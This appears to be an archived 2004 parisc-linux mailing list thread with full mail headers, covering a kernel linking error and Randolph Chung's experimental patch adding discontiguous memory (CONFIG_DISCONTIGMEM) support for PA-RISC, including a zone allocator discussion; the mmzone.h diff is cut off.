User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21780

On Sun, Jul 04, 2004 at 11:06:48PM -0400, Mike Frysinger wrote:
> http://bugs.gentoo.org/show_bug.cgi?id=56087
> 
I think you posted the wrong link here.

> in some configurations, setting CONFIG_GSC_PS2=n can cause a linking error:
> drivers/hil/hil.o(.text.hil:bkd_connect+0x424): In function 'hil_kbd_connect':
> : undefined reference to 'register_ps2_keybfuncs'
> 
.config?

Regards,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linking problem with 2.4.26-p4
Date: Sun, 4 Jul 2004 23:15:37 -0400
Organization: wh0rd.org
Lines: 20
Approved: news@gmane.org
Message-ID: <200407042315.37813.vapier@gentoo.org>
References: <200407042306.48112.vapier@gentoo.org>
	<20040705030523.GA6668@engsoc.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623491 10097 80.91.229.3 (22 Nov 2014 02:31:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13292 invoked by uid 65534); 5 Jul 2004 03:15:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 05 Jul 2004 05:15:41 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DAF183BDED; Sun,  4 Jul 2004 21:15:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30492-06; Sun, 4 Jul 2004 21:15:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8C5363BDFF; Sun,  4 Jul 2004 21:15:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3FB13BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 21:15:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30492-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jul 2004 21:15:24 -0600 (MDT)
Original-Received: from wh0rd.org (wh0rd.org [212.13.198.204])
	by free.linux.hp.com (Postfix) with ESMTP id 54C5D3BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 21:15:23 -0600 (MDT)
Original-Received: (qmail 25002 invoked from network); 4 Jul 2004 23:15:08 -0400
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 4 Jul 2004 23:15:08 -0400
Original-Received: (qmail 9354 invoked from network); 5 Jul 2004 05:37:44 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 5 Jul 2004 05:37:44 -0400
User-Agent: KMail/1.6.2
In-Reply-To: <20040705030523.GA6668@engsoc.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21781

On Sunday 04 July 2004 11:05 pm, Kyle McMartin wrote:
> On Sun, Jul 04, 2004 at 11:06:48PM -0400, Mike Frysinger wrote:
> > http://bugs.gentoo.org/show_bug.cgi?id=56087
>
> I think you posted the wrong link here.

err yeah ... too many bug windows open and my copy&paste buffers out of 
sync ;)
http://bugs.gentoo.org/show_bug.cgi?id=55265

> .config?

it's posted in the bugreport
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONFIG_DISCONTIGMEM, try 2
Date: Tue, 6 Jul 2004 00:15:00 -0700
Lines: 708
Approved: news@gmane.org
Message-ID: <20040706071459.GA567@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623492 10099 80.91.229.3 (22 Nov 2014 02:31:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20198 invoked by uid 65534); 6 Jul 2004 07:15:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 06 Jul 2004 09:15:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7021B3BE10; Tue,  6 Jul 2004 01:15:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10602-06; Tue, 6 Jul 2004 01:15:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 615773BDF9; Tue,  6 Jul 2004 01:15:10 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B8C03BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jul 2004 01:14:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10608-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Jul 2004 01:14:59 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 42F983BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jul 2004 01:14:58 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 132E6CD29F; Tue,  6 Jul 2004 00:15:00 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21782

ok, attached is a 2nd version of the patch, with some of the bugs
identified by Grant and Joel fixed. All the memory is now identified as
available on boot, but I've run into some more nasty problems :(

The first problem is this, from include/asm-parisc/page.h:

     51 /* NOTE: even on 64 bits, these entries are __u32 because we allocate
     52  * the pmd and pgd in ZONE_DMA (i.e. under 4GB) */
     53 typedef struct { __u32 pmd; } pmd_t;
     54 typedef struct { __u32 pgd; } pgd_t;

Since we put all memory into ZONE_DMA, the comment is wrong -- ZONE_DMA
memory can in fact be >4GB. So, either we partition the memory so that
it adheres to the above constraint, otherwise we will need to redo the
pgd/pmd layouts a bit. jejb: comments? :) (In fact this will be a
problem without CONFIG_DISCONTIGMEM if we have a machine that 
supported >4GB of contiguous memory)

For now, I hacked the code to only put the first memory range into
ZONE_DMA, and the rest into ZONE_NORMAL to workaround the above, but
this identified a second problem:

The zone allocator builds zone lists to derive from where physical pages
should be allocated. There is a preference to satisfy allocations from
the same node, with a "fallback" mechanism of satisfying "normal" memory
allocations from the DMA zone. This means that if we have some 
application that requested enough memory to fill up memory in the first
region, all subsequent DMA allocations will fail. 

On parisc we happen to also allocate pgd/pmd's from DMA memory, so
you can no longer create new page directory mappings, and the system
claims to run out of memory even though there is plenty of ZONE_NORMAL
memory remaining. :(

I don't quite understand why the zone allocator behaves this way --
there is some NUMA logic to identify the node id and node distances in
order to bias the selection of the zonelists, but I don't think we
should need that to get this to work.... currently it is biased towards
keeping allocations in the same node rather than in the same zone.

Comments? Did I miss anything? 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


Index: arch/parisc/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Kconfig,v
retrieving revision 1.19
diff -u -p -r1.19 Kconfig
--- arch/parisc/Kconfig	1 Jul 2004 18:30:36 -0000	1.19
+++ arch/parisc/Kconfig	3 Jul 2004 06:55:49 -0000
@@ -136,6 +136,15 @@ config SMP
 
 	  If you don't know what to do here, say N.
 
+config DISCONTIGMEM
+	bool "Discontiguous memory support (EXPERIMENTAL)"
+	depends on EXPERIMENTAL
+	help
+	  Say Y to support efficient handling of discontiguous physical memory,
+	  for architectures which are either NUMA (Non-Uniform Memory Access)
+	  or have huge holes in the physical address space for other reasons.
+	  See <file:Documentation/vm/numa> for more.
+
 config PREEMPT
 	bool
 #	bool "Preemptible Kernel"
Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.17
diff -u -p -r1.17 cache.c
--- arch/parisc/kernel/cache.c	30 May 2004 18:57:23 -0000	1.17
+++ arch/parisc/kernel/cache.c	3 Jul 2004 06:55:49 -0000
@@ -69,7 +69,7 @@ update_mmu_cache(struct vm_area_struct *
 {
 	struct page *page = pte_page(pte);
 
-	if (VALID_PAGE(page) && page_mapping(page) &&
+	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
 	    test_bit(PG_dcache_dirty, &page->flags)) {
 
 		flush_kernel_dcache_page(page_address(page));
Index: arch/parisc/kernel/inventory.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/inventory.c,v
retrieving revision 1.5
diff -u -p -r1.5 inventory.c
--- arch/parisc/kernel/inventory.c	4 Jun 2004 19:36:53 -0000	1.5
+++ arch/parisc/kernel/inventory.c	4 Jul 2004 17:46:52 -0000
@@ -25,6 +25,7 @@
 #include <linux/mm.h>
 #include <asm/hardware.h>
 #include <asm/io.h>
+#include <asm/mmzone.h>
 #include <asm/pdc.h>
 #include <asm/pdcpat.h>
 #include <asm/processor.h>
Index: arch/parisc/kernel/parisc_ksyms.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/parisc_ksyms.c,v
retrieving revision 1.16
diff -u -p -r1.16 parisc_ksyms.c
--- arch/parisc/kernel/parisc_ksyms.c	6 Mar 2004 14:43:46 -0000	1.16
+++ arch/parisc/kernel/parisc_ksyms.c	5 Jul 2004 21:53:23 -0000
@@ -173,3 +173,9 @@ EXPORT_SYMBOL(__moddi3);
 extern void $$dyncall(void);
 EXPORT_SYMBOL($$dyncall);
 #endif
+
+#ifdef CONFIG_DISCONTIGMEM
+#include <asm/mmzone.h>
+EXPORT_SYMBOL(node_data);
+EXPORT_SYMBOL(pfnnid_map);
+#endif
Index: arch/parisc/mm/init.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/init.c,v
retrieving revision 1.6
diff -u -p -r1.6 init.c
--- arch/parisc/mm/init.c	24 May 2004 00:58:49 -0000	1.6
+++ arch/parisc/mm/init.c	6 Jul 2004 04:51:19 -0000
@@ -5,6 +5,7 @@
  *  Copyright 1999 SuSE GmbH
  *    changed by Philipp Rumpf
  *  Copyright 1999 Philipp Rumpf (prumpf@tux.org)
+ *  Copyright 2004 Randolph Chung (tausq@debian.org)
  *
  */
 
@@ -23,6 +24,7 @@
 #include <asm/pgalloc.h>
 #include <asm/tlb.h>
 #include <asm/pdc_chassis.h>
+#include <asm/mmzone.h>
 
 DEFINE_PER_CPU(struct mmu_gather, mmu_gathers);
 
@@ -32,10 +34,11 @@ extern char _end;	/* end of BSS, defined
 extern char __init_begin, __init_end;
 
 #ifdef CONFIG_DISCONTIGMEM
-struct node_map_data node_data[MAX_PHYSMEM_RANGES];
-bootmem_data_t bmem_data[MAX_PHYSMEM_RANGES];
-unsigned char *chunkmap;
-unsigned int maxchunkmap;
+struct node_map_data node_data[MAX_NUMNODES];
+bootmem_data_t bmem_data[MAX_NUMNODES];
+
+/* Support up to 512GB of physical address space */
+unsigned char pfnnid_map[512];
 #endif
 
 static struct resource data_resource = {
@@ -119,21 +122,6 @@ static void __init setup_bootmem(void)
 
 	disable_sr_hashing(); /* Turn off space register hashing */
 
-#ifdef CONFIG_DISCONTIGMEM
-	/*
-	 * The below is still true as of 2.4.2. If this is ever fixed,
-	 * we can remove this warning!
-	 */
-
-	printk(KERN_WARNING "\n\n");
-	printk(KERN_WARNING "CONFIG_DISCONTIGMEM is enabled, which is probably a mistake. This\n");
-	printk(KERN_WARNING "option can lead to heavy swapping, even when there are gigabytes\n");
-	printk(KERN_WARNING "of free memory.\n\n");
-#endif
-
-#ifdef __LP64__
-
-#ifndef CONFIG_DISCONTIGMEM
 	/*
 	 * Sort the ranges. Since the number of ranges is typically
 	 * small, and performance is not an issue here, just do
@@ -160,11 +148,10 @@ static void __init setup_bootmem(void)
 		}
 	}
 
+#ifndef CONFIG_DISCONTIGMEM
 	/*
 	 * Throw out ranges that are too far apart (controlled by
-	 * MAX_GAP). If CONFIG_DISCONTIGMEM wasn't implemented so
-	 * poorly, we would recommend enabling that option, but,
-	 * until it is fixed, this is the best way to go.
+	 * MAX_GAP).
 	 */
 
 	for (i = 1; i < npmem_ranges; i++) {
@@ -172,6 +159,11 @@ static void __init setup_bootmem(void)
 			(pmem_ranges[i-1].start_pfn +
 			 pmem_ranges[i-1].pages) > MAX_GAP) {
 			npmem_ranges = i;
+			printk("Large gap in memory detected (%ld pages). "
+			       "Consider turning on CONFIG_DISCONTIGMEM\n",
+			       pmem_ranges[i].start_pfn -
+			       (pmem_ranges[i-1].start_pfn +
+			        pmem_ranges[i-1].pages));
 			break;
 		}
 	}
@@ -194,8 +186,6 @@ static void __init setup_bootmem(void)
 		}
 	}
 
-#endif /* __LP64__ */
-
 	sysram_resource_count = npmem_ranges;
 	for (i = 0; i < sysram_resource_count; i++) {
 		struct resource *res = &sysram_resources[i];
@@ -218,6 +208,7 @@ static void __init setup_bootmem(void)
 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
+	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -232,15 +223,16 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
+	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
+	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
 	printk(KERN_INFO "Total Memory: %ld Mb\n",mem_max >> 20);
 
 #ifndef CONFIG_DISCONTIGMEM
-
 	/* Merge the ranges, keeping track of the holes */
 
 	{
@@ -272,9 +264,18 @@ static void __init setup_bootmem(void)
 	bootmap_start_pfn = PAGE_ALIGN(__pa((unsigned long) &_end)) >> PAGE_SHIFT;
 
 #ifdef CONFIG_DISCONTIGMEM
+	for (i = 0; i < MAX_PHYSMEM_RANGES; i++) {
+		memset(NODE_DATA(i), 0, sizeof(pg_data_t));
+		NODE_DATA(i)->bdata = &bmem_data[i];
+	}
+	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
+
+	numnodes = npmem_ranges;
+
 	for (i = 0; i < npmem_ranges; i++)
-		node_data[i].pg_data.bdata = &bmem_data[i];
+		node_set_online(i);
 #endif
+
 	/*
 	 * Initialize and free the full range of memory in each range.
 	 * Note that the only writing these routines do are to the bootmap,
@@ -443,16 +444,66 @@ unsigned long pcxl_dma_start;
 
 void __init mem_init(void)
 {
-	int i;
-
 	high_memory = __va((max_pfn << PAGE_SHIFT));
-	max_mapnr = (virt_to_page(high_memory - 1) - mem_map) + 1;
 
-	num_physpages = 0;
-	mem_map = zone_table[0]->zone_mem_map;
-	for (i = 0; i < npmem_ranges; i++)
-		num_physpages += free_all_bootmem_node(NODE_DATA(i));
-	totalram_pages = num_physpages;
+#ifndef CONFIG_DISCONTIGMEM
+	max_mapnr = page_to_pfn(virt_to_page(high_memory - 1)) + 1;
+	mem_map = zone_table[ZONE_DMA]->zone_mem_map;
+	totalram_pages += free_all_bootmem();
+#else
+	{
+		int i;
+
+		for (i = 0; i < npmem_ranges; i++)
+			totalram_pages += free_all_bootmem_node(NODE_DATA(i));
+	}
+
+	{
+		/* Override the default zonelist: the default zonelist
+		 * is biased towards satisfying allocations from the
+		 * same node instead of the same zone; this causes
+		 * problems for us since this will rapidly use up
+		 * ZONE_DMA memory and fail __GFP_DMA allocation 
+		 * requests. */
+
+		struct zonelist zl[MAX_NR_ZONES];
+		int i;
+
+		for (i = 0; i < MAX_NR_ZONES; i++) {
+			int ent = 0;
+			int j, k;
+
+			for (j = 0; j < npmem_ranges; j++) {
+				for (k = 0; k < MAX_NR_ZONES; k++) {
+					struct zone *z;
+
+					z = &NODE_DATA(j)->node_zones[k];
+					if (i == k && z->present_pages)
+						zl[i].zones[ent++] = z;
+				}
+			}
+
+			if (i != ZONE_DMA) {
+				for (j = 0; j < npmem_ranges; j++) {
+					for (k = 0; k < MAX_NR_ZONES; k++) {
+						struct zone *z;
+
+						z = &NODE_DATA(j)->node_zones[k];
+						if (i != k && z->present_pages)
+							zl[i].zones[ent++] = z;
+					}
+				}
+			}
+			zl[i].zones[ent] = NULL;
+		}
+
+		for (i = 0; i < npmem_ranges; i++) {
+			NODE_DATA(i)->node_zonelists[0] = zl[ZONE_NORMAL];
+			NODE_DATA(i)->node_zonelists[__GFP_DMA] = zl[ZONE_DMA];
+			NODE_DATA(i)->node_zonelists[__GFP_HIGHMEM] = zl[ZONE_HIGHMEM];
+		}
+	}
+#endif
 
 	printk(KERN_INFO "Memory: %luk available\n", num_physpages << (PAGE_SHIFT-10));
 
@@ -485,6 +536,7 @@ void show_mem(void)
 	printk(KERN_INFO "Mem-info:\n");
 	show_free_areas();
 	printk(KERN_INFO "Free swap:	 %6dkB\n",nr_swap_pages<<(PAGE_SHIFT-10));
+#ifndef CONFIG_DISCONTIGMEM
 	i = max_mapnr;
 	while (i-- > 0) {
 		total++;
@@ -497,10 +549,50 @@ void show_mem(void)
 		else
 			shared += page_count(&mem_map[i]) - 1;
 	}
+#else
+	for (i = 0; i < npmem_ranges; i++) {
+		int j;
+
+		for (j = node_start_pfn(i); j < node_end_pfn(i); j++) {
+			struct page *p;
+
+			p = node_mem_map(i) + j - node_start_pfn(i);
+
+			total++;
+			if (PageReserved(p))
+				reserved++;
+			else if (PageSwapCache(p))
+				cached++;
+			else if (!page_count(p))
+				free++;
+			else
+				shared += page_count(p) - 1;
+        	}
+	}
+#endif
 	printk(KERN_INFO "%d pages of RAM\n", total);
 	printk(KERN_INFO "%d reserved pages\n", reserved);
 	printk(KERN_INFO "%d pages shared\n", shared);
 	printk(KERN_INFO "%d pages swap cached\n", cached);
+
+
+#ifdef CONFIG_DISCONTIGMEM
+	{
+		struct zonelist *zl;
+		int i, j, k;
+
+		for (i = 0; i < npmem_ranges; i++) {
+			for (j = 0; j < MAX_NR_ZONES; j++) {
+				zl = NODE_DATA(i)->node_zonelists + j;
+
+				printk("Zone list for zone %d on node %d: ", j, i);
+				for (k = 0; zl->zones[k] != NULL; k++) 
+					printk("[%d/%s] ", zl->zones[k]->zone_pgdat->node_id, zl->zones[k]->name);
+				printk("\n");
+			}
+		}
+	}
+#endif
 }
 
 
@@ -757,61 +849,30 @@ void __init paging_init(void)
 	flush_tlb_all_local();
 
 	for (i = 0; i < npmem_ranges; i++) {
-		unsigned long zones_size[MAX_NR_ZONES] = { 0, 0, 0, };
-
-		zones_size[ZONE_DMA] = pmem_ranges[i].pages;
-		free_area_init_node(i,NODE_DATA(i),NULL,zones_size,
-				(pmem_ranges[i].start_pfn << PAGE_SHIFT),0);
-	}
-
-#ifdef CONFIG_DISCONTIGMEM
-	/*
-	 * Initialize support for virt_to_page() macro.
-	 *
-	 * Note that MAX_ADDRESS is the largest virtual address that
-	 * we can map. However, since we map all physical memory into
-	 * the kernel address space, it also has an effect on the maximum
-	 * physical address we can map (MAX_ADDRESS - PAGE_OFFSET).
-	 */
+		unsigned long zones_size[MAX_NR_ZONES] = { 0, 0, 0 };
 
-	maxchunkmap = MAX_ADDRESS >> CHUNKSHIFT;
-	chunkmap = (unsigned char *)alloc_bootmem(maxchunkmap);
+		/* We have an IOMMU, so all memory can go into a single
+		   ZONE_DMA zone. */
 
-	for (i = 0; i < maxchunkmap; i++)
-	    chunkmap[i] = BADCHUNK;
+		if (!i)
+			zones_size[ZONE_DMA] = pmem_ranges[i].pages;
+		else
+			zones_size[ZONE_NORMAL] = pmem_ranges[i].pages;
 
-	for (i = 0; i < npmem_ranges; i++) {
+		free_area_init_node(i,NODE_DATA(i),NULL,zones_size,
+				pmem_ranges[i].start_pfn, 0);
 
-		ADJ_NODE_MEM_MAP(i) = NODE_MEM_MAP(i) - pmem_ranges[i].start_pfn;
+#ifdef CONFIG_DISCONTIGMEM
 		{
-			unsigned long chunk_paddr;
-			unsigned long end_paddr;
-			int chunknum;
-
-			chunk_paddr = (pmem_ranges[i].start_pfn << PAGE_SHIFT);
-			end_paddr = chunk_paddr + (pmem_ranges[i].pages << PAGE_SHIFT);
-			chunk_paddr &= CHUNKMASK;
-
-			chunknum = (int)CHUNKNUM(chunk_paddr);
-			while (chunk_paddr < end_paddr) {
-				if (chunknum >= maxchunkmap)
-					goto badchunkmap1;
-				if (chunkmap[chunknum] != BADCHUNK)
-					goto badchunkmap2;
-				chunkmap[chunknum] = (unsigned char)i;
-				chunk_paddr += CHUNKSZ;
-				chunknum++;
-			}
+		    int j;
+		    for (j = (node_start_pfn(i) >> PFNNID_SHIFT);
+			 j < (node_end_pfn(i) >> PFNNID_SHIFT);
+			 j++) {
+			pfnnid_map[j] = i;
+		    }
 		}
-	}
-
-	return;
-
-badchunkmap1:
-	panic("paging_init: Physical address exceeds maximum address space!\n");
-badchunkmap2:
-	panic("paging_init: Collision in chunk map array. CHUNKSZ needs to be smaller\n");
 #endif
+	}
 }
 
 #ifdef CONFIG_PA20
Index: fs/bio.c
===================================================================
RCS file: /var/cvs/linux-2.6/fs/bio.c,v
retrieving revision 1.9
diff -u -p -r1.9 bio.c
--- fs/bio.c	23 May 2004 23:52:39 -0000	1.9
+++ fs/bio.c	3 Jul 2004 06:55:49 -0000
@@ -345,8 +345,8 @@ static int __bio_add_page(request_queue_
 	}
 
 	/* If we may be able to merge these biovecs, force a recount */
-	if(BIOVEC_PHYS_MERGEABLE(bvec-1, bvec) ||
-	   BIOVEC_VIRT_MERGEABLE(bvec-1, bvec))
+	if (bio->bi_vcnt && (BIOVEC_PHYS_MERGEABLE(bvec-1, bvec) ||
+	    BIOVEC_VIRT_MERGEABLE(bvec-1, bvec)))
 		bio->bi_flags &= ~(1 << BIO_SEG_VALID);
 
 	bio->bi_vcnt++;
Index: include/asm-parisc/io.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/io.h,v
retrieving revision 1.7
diff -u -p -r1.7 io.h
--- include/asm-parisc/io.h	10 Mar 2004 19:24:49 -0000	1.7
+++ include/asm-parisc/io.h	3 Jul 2004 06:55:49 -0000
@@ -24,11 +24,6 @@ extern unsigned long parisc_vmerge_max_s
 #define virt_to_bus virt_to_phys
 #define bus_to_virt phys_to_virt
 
-/*
- * Change "struct page" to physical address.
- */
-#define page_to_phys(page)	((page - mem_map) << PAGE_SHIFT)
-
 /* Memory mapped IO */
 
 extern void * __ioremap(unsigned long offset, unsigned long size, unsigned long flags);
Index: include/asm-parisc/mmzone.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/mmzone.h,v
retrieving revision 1.1
diff -u -p -r1.1 mmzone.h
--- include/asm-parisc/mmzone.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/mmzone.h	6 Jul 2004 03:24:57 -0000
@@ -1,31 +1,89 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#ifdef CONFIG_DISCONTIGMEM
+
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+extern int npmem_ranges;
+
 struct node_map_data {
     pg_data_t pg_data;
-    struct page *adj_node_mem_map;
 };
 
 extern struct node_map_data node_data[];
-extern unsigned char *chunkmap;
-
-#define BADCHUNK                ((unsigned char)0xff)
-#define CHUNKSZ                 (256*1024*1024)
-#define CHUNKSHIFT              28
-#define CHUNKMASK               (~(CHUNKSZ - 1))
-#define CHUNKNUM(paddr)         ((paddr) >> CHUNKSHIFT)
 
 #define NODE_DATA(nid)          (&node_data[nid].pg_data)
-#define NODE_MEM_MAP(nid)       (NODE_DATA(nid)->node_mem_map)
-#define ADJ_NODE_MEM_MAP(nid)   (node_data[nid].adj_node_mem_map)
-
-#define phys_to_page(paddr) \
-	(ADJ_NODE_MEM_MAP(chunkmap[CHUNKNUM((paddr))]) \
